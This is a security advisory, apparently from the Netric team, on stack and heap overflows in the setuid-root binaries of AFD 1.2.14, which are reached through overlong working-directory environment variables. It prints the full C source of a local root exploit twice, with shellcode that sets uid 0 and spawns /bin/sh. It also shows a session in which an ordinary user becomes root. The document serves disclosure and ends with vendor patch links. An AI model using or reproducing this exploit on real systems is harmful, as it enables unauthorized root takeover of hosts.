AFD 1.2.14 multiple local root compromises

[Bert Vanmanshoven <sacrine () zworg com>]

Netric Security Team:

included: advisory - author: netric
          exploit  - written: eSDee(esdee () netric org)
          
bug found by sacrine(sacrine () netric org)

site: http://www.netric.org
(because of some dns problems currently http://www.netric.be)

Kind regards, sacrine
Netric Security

/* AFD 1.2.14 local root exploit by eSDee of Netric (www.netric.org)
 * (Bug found by Sacrine (sacrine () netric org)
 * -----------------------------------------------------------------
 * usage: ./afd-expl [retloc] [ret]
 * 
 * This exploit overwrites a saved return address on the stack,
 * so that 0xbfffe360, (that worked for me on Redhat 7.3) will
 * probally not work for you...
 * 
 * Just open the coredump, search the stack for 0x4207ac24, 
 * and substract that address with 0x0c.
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

char shellcode[] = 
        "\xeb\x0a" /* 10-byte-jump; setreuid(0,0); execve /bin/sh; exit(0); */
        "--netric--"
        "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f"
        "\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x8d\x54\x24\x08\x50\x53\x8d"
        "\x0c\x24\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80";


int
main(int argc, char *argv[])
{
        char buffer[1135];

        unsigned int retloc     = 0xbfffe360;
        unsigned int ret        = 0x0806f020; /* &shellcode */

        if (argc > 1) retloc    = strtoul(argv[1], &argv[1], 16);
        if (argc > 2) ret       = strtoul(argv[2], &argv[2], 16);

        memset(buffer, 0x41, sizeof(buffer));
        memcpy(buffer, "MON_WORK_DIR=",13);
        memcpy(buffer+13, shellcode, strlen(shellcode));

        buffer[1117] = 0xff; /* prev_size */
        buffer[1118] = 0xff;
        buffer[1119] = 0xff;
        buffer[1120] = 0xff;

        buffer[1121] = 0xfc; /* size field */
        buffer[1122] = 0xff;
        buffer[1123] = 0xff;
        buffer[1124] = 0xff;

        buffer[1126] = (retloc & 0x000000ff); /* FD */
        buffer[1127] = (retloc & 0x0000ff00) >> 8;
        buffer[1128] = (retloc & 0x00ff0000) >> 16;
        buffer[1129] = (retloc & 0xff000000) >> 24;

        buffer[1130] = (ret & 0x000000ff); /* BK */
        buffer[1131] = (ret & 0x0000ff00) >> 8;
        buffer[1132] = (ret & 0x00ff0000) >> 16;
        buffer[1133] = (ret & 0xff000000) >> 24;

        buffer[1134] = 0x0;
        putenv(buffer);

        fprintf(stdout, "AFD 1.2.14 local root exploit by eSDee of Netric (www.netric.org)\n");
        fprintf(stdout, "-----------------------------------------------------------------\n");
        fprintf(stdout, "Ret    = 0x%08x\n", ret);
        fprintf(stdout, "Retloc = 0x%08x\n", retloc);

        execl("/bin/mon_ctrl", "mon_ctrl", NULL);
        return 0;
}

Netric Security Team - http://www.netric.[org|be]
By Netric

AFD 1.2.14 multiple local root exploits
type: stack and heap overflows

Priority: 5

[1] Description
[2] Vulnerable
[3] Exploit
[4] Proof of concept
[5] Vendor response
[6] Patches

[1] Description

        The Automatic File Distributor provides a framework for very flexible, non-stop,
        log and debug-able delivery of an arbitrary amount of files to multiple recipients
        as expressed in URLs.

        The AFD package comes with a few sources that once compiled and installed are set
        uid root by default.

        amough other vulnerabilities, in the beginning of most of these programs a directory
        is needed. it can be supplied with a command line switch (-w) or an environ variable.
        the exploitable code for most looks like :


        #define MON_WD_ENV_NAME          "MON_WORK_DIR"  /* Environment variable */
        #define WD_ENV_NAME              "AFD_WORK_DIR"  /* The working dir-   */
        ...
        /* work_dir is global in some sources, local in other sources */
        char  work_dir[MAX_PATH_LENGTH];
        ...

        int
        main(int argc, char *argv[])
        {
                ...
                /* work_dir is global in some sources, local in other sources */
                char  work_dir[MAX_PATH_LENGTH];
                ...
                /* might call some other function that then calls this function */
                if (get_XXX_path(&argc, argv, work_dir) < 0)
                {
                        exit(INCORRECT);
                }
                ...
        }

        /* the XXX is either 'mon' or 'afd' */
        /* this function is in another file then main() is */
        get_XXX_path(int *argc, char *argv[], char *work_dir)
        {
                ...
                char *ptr;

                /* Check if the environment variable is set */
                /* if ((ptr = getenv(MON_WD_ENV_NAME)) != NULL) <-- can also be this */
                if ((ptr = getenv(WD_ENV_NAME)) != NULL)
                {
                        /* !!!!! THIS IS WHERE ALL THE ACTION TAKES PLACE !!!!! */
                        (void)strcpy(work_dir, ptr);
                }
                ...
        }

        as you can see the buffer work_dir gets overflowed, and a stack or heap overflow
        occurs (depends if work_dir is global or local). With some of the binarys it's
        possible to cause the same overflow with the command line switch -w, but in other
        binarys that length gets checked.

        the following is a listing of the vulnerable suid binarys, and if they are exploitable
        with the environ varibles and/or the -w command line switch :

        name            -w switch               env. var
        afd             NO                      YES
        afdcmd          NO                      YES
        afd_ctrl        NO                      YES
        init_afd        NO                      YES
        mafd            YES                     YES
        mon_ctrl        YES                     YES
        show_olog       NO                      YES
        udc             NO                      YES


[2] Vulnerable

        the AFD site says that AFD works on the following :

        version                         vulnerable              exploitable
        * Linux 1.3.x  -  2.4.x         YES                     YES
        * Solaris 2.x                   probably (not tested)   probably (not tested)
        * HP-UX 10.x  -  11.x           probably (not tested)   probably (not tested)
        * IRIX 5.3  6.x                 probably (not tested)   probably (not tested)
        * AIX 4.3                       probably (not tested)   probably (not tested)
        * FTX 3.0.x  3.2.x              probably (not tested)   probably (not tested)
        * SCO OpenServer Release 5      probably (not tested)   probably (not tested)

        this vulnerability was discovered in the AFD 1.2.14 package but previous versions
        are probably vulnerable too.


[3] Exploit

        The following exploit was tested in a lab and will probably not work without
        any tweaking. it was tested agains mon_ctrl in the AFD 1.2.14 package on redhat 7.3.

        <--> BEGIN OF FILE <-->
        #include <stdio.h>
        #include <stdlib.h>
        #include <string.h>

        char shellcode[] =
        "\xeb\x0a" /* 10-byte-jump; setreuid(0,0); execve /bin/sh; exit(0); */
        "--netric--"
        "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f"
        "\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x8d\x54\x24\x08\x50\x53\x8d"
        "\x0c\x24\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80";

        int
        main(int argc, char *argv[])
        {
                char buffer[1135];

                unsigned int retloc     = 0xbfffe360;
                unsigned int ret        = 0x0806f020; /* &shellcode */

                if (argc > 1) retloc    = strtoul(argv[1], &argv[1], 16);
                if (argc > 2) ret       = strtoul(argv[2], &argv[2], 16);

                memset(buffer, 0x41, sizeof(buffer));
                memcpy(buffer, "MON_WORK_DIR=",13);
                memcpy(buffer+13, shellcode, strlen(shellcode));

                buffer[1117] = 0xff; /* prev_size */
                buffer[1118] = 0xff;
                buffer[1119] = 0xff;
                buffer[1120] = 0xff;

                buffer[1121] = 0xfc; /* size field */
                buffer[1122] = 0xff;
                buffer[1123] = 0xff;
                buffer[1124] = 0xff;

                buffer[1126] = (retloc & 0x000000ff); /* FD */
                buffer[1127] = (retloc & 0x0000ff00) >> 8;
                buffer[1128] = (retloc & 0x00ff0000) >> 16;
                buffer[1129] = (retloc & 0xff000000) >> 24;

                buffer[1130] = (ret & 0x000000ff); /* BK */
                buffer[1131] = (ret & 0x0000ff00) >> 8;
                buffer[1132] = (ret & 0x00ff0000) >> 16;
                buffer[1133] = (ret & 0xff000000) >> 24;

                buffer[1134] = 0x0;
                putenv(buffer);

                fprintf(stdout, "AFD 1.2.14 local root exploit by eSDee of Netric (www.netric.org)\n");
                fprintf(stdout, "-----------------------------------------------------------------\n");
                fprintf(stdout, "Ret    = 0x%08x\n", ret);
                fprintf(stdout, "Retloc = 0x%08x\n", retloc);

                execl("/bin/mon_ctrl", "mon_ctrl", NULL);
                return 0;
        }
        <--> END OF FILE <-->


[4] Proof of concept

        [eSDee@/ bin]$ id
        uid=502(eSDee) gid=500(trusted) groups=500(trusted)
        [eSDee@/ bin]$ ./afd-expl
        AFD 1.2.14 local root exploit by eSDee of Netric (www.netric.org)
        -----------------------------------------------------------------
        Ret    = 0x0806f020
        Retloc = 0xbfffe360
        28 17:32:12 <E> Failed to create directory <ë
        --netric--1Û1É÷ã°FÍShn/shh//biãRSá°
                                          ÍAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                          AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                          AAAAAAAAAAAAAAAAAAAAAAAAA
        ....
        ectory (check_dir.c 66)
        sh-2.05a# id
        uid=0(root) gid=500(trusted) groups=500(trusted)
        sh-2.05a# exit


[5] Vendor response

        We got a reply from the vendor within 1 week that patches were made. 

[6] Patches 
        
        There is a new version released of afd (1.2.15) which can be 
        downloaded from :
 
                [source]  ftp://ftp.dwd.de/pub/afd/src-1.2.15.tar.bz2
                [rpm   ]  ftp://ftp.dwd.de/pub/afd/rpm/afd-1.2.15-2.i386.rpm


        there is also a patch released for version 1.2.14 which can be found on : 

                [patch ]  ftp://ftp.dwd.de/pub/afd/patch-1.2.15.bz2